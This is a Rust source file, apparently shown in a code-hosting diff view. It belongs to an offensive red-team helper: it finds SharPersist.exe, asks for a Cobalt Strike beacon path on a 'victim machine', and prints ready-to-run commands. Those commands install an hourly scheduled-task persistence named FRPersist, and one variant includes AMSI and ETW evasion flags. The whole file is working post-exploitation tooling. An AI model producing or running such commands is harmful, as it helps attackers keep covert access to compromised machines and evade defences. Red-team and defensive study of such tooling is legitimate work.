||||||
|
use crate::print_success;
|
||||||
|
|
||||||
|
pub fn sharp_persist_command(tools_dir: &PathBuf){
|
||||||
|
let filename = "SharPersist.exe";
|
||||||
|
let mut binary_path = String::new();
|
||||||
|
for entry in WalkDir::new(tools_dir){
|
||||||
|
let entry = entry.unwrap();
|
||||||
|
let path = entry.path();
|
||||||
|
if path.is_file() && path.file_name().unwrap() == filename{
|
||||||
|
binary_path = path.to_str().unwrap().to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if get_user_input("will you be running this is cobalt strike?").to_lowercase().contains("y"){
|
||||||
|
let beacon_path = get_user_input("excellent! Please enter the path to your beacon file on the victim machine.");
|
||||||
|
println!("how will you run it?");
|
||||||
|
println!("1.) execute-assembly\n2.) inline-execute-assembly\n3.) from disk");
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => println!("execute-assembly {} -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||||
|
"2" => println!("inlineExecute-Assembly --dotnetassembly {} --assemblyargs -t schtask -c \"{}\" -n FRPersist -m add -o hourly --etw --amsi", binary_path, beacon_path),
|
||||||
|
"3" => println!("upload {}\n\nrun .\\SharPersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||||
|
_ => println!("{}","unknown selection".red())
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let file_to_run = get_user_input("path to the file you want to run for persistence?");
|
||||||
|
print_success("ok then, upload the following file to the machine");
|
||||||
|
print_success(format!("{}", binary_path));
|
||||||
|
print_success(format!("C:\\path\\to\\your\\sharpersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", file_to_run));
|
||||||
|
return;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user